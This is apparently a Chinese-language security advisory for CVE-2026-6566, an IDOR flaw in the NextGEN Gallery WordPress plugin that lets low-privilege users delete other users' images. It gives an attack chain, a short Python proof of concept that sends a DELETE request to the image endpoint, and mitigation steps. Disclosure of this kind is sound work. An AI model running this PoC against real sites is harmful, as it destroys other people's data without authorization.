IPBUF安全漏洞报告
English
CVE-2026-6566 CVSS 4.3 中危

CVE-2026-6566 NextGEN Gallery IDOR漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-6566
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NextGEN Gallery (WordPress Plugin)

相关标签

IDORWordPress权限绕过NextGEN Gallery

漏洞概述

WordPress插件NextGEN Gallery在4.2.0及以下版本中存在不安全的直接对象引用(IDOR)漏洞。由于删除图片的REST接口权限校验不足,仅检查了基础权限而未验证图片所有权,导致拥有低权限(如订阅者)且具备“NextGEN Manage gallery”能力的攻击者可以删除其他用户的画廊图片及服务器上的关联文件。

技术细节

该漏洞的核心在于WordPress插件NextGEN Gallery的REST API权限验证逻辑存在缺陷。具体而言,在处理`DELETE /imagely/v1/images/{id}`请求时,系统仅检查了请求者是否具备“NextGEN Manage gallery”这一基础能力,却忽略了至关重要的对象级别授权检查,即未验证请求者是否为目标图片的所有者或是否具备“NextGEN Manage others gallery”的高级权限。这种设计缺陷导致了不安全的直接对象引用(IDOR)。攻击者一旦获得订阅者级别的低权限账户,利用该漏洞便可以构造恶意的HTTP DELETE请求,指定任意图片ID进行删除。由于默认配置下`deleteImg`选项处于启用状态,攻击者的操作将导致数据库记录丢失,且服务器磁盘上对应的图片文件被永久移除,严重破坏了数据的完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标网站使用了NextGEN Gallery插件,并确认版本在4.2.0及以下。
STEP 2
2. 获取权限
攻击者注册一个低权限账户(如订阅者),并被分配了'NextGEN Manage gallery'权限。
STEP 3
3. 发起攻击
攻击者利用IDOR漏洞,构造针对`/imagely/v1/images/{id}`的DELETE请求,其中id为受害者的图片ID。
STEP 4
4. 造成影响
服务器验证了基础权限后执行删除操作,导致受害者的图片记录及磁盘文件被删除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration base_url = "http://example.com" image_id = 123 # ID of the image to delete endpoint = f"{base_url}/wp-json/imagely/v1/images/{image_id}" # Attacker's cookie (User must have 'NextGEN Manage gallery' capability) cookies = { "wordpress_logged_in_xxx": "attacker_session_value" } # Send DELETE request to exploit IDOR response = requests.delete(endpoint, cookies=cookies) if response.status_code == 200: print(f"[+] Success: Image {image_id} deleted.") else: print(f"[-] Failed: Status {response.status_code}")

影响范围

NextGEN Gallery <= 4.2.0

防御指南

临时缓解措施
在升级插件前,建议暂时撤销非管理员用户的“NextGEN Manage gallery”权限,或者通过WAF规则拦截对`/wp-json/imagely/v1/images/`路径的DELETE请求,以阻断利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表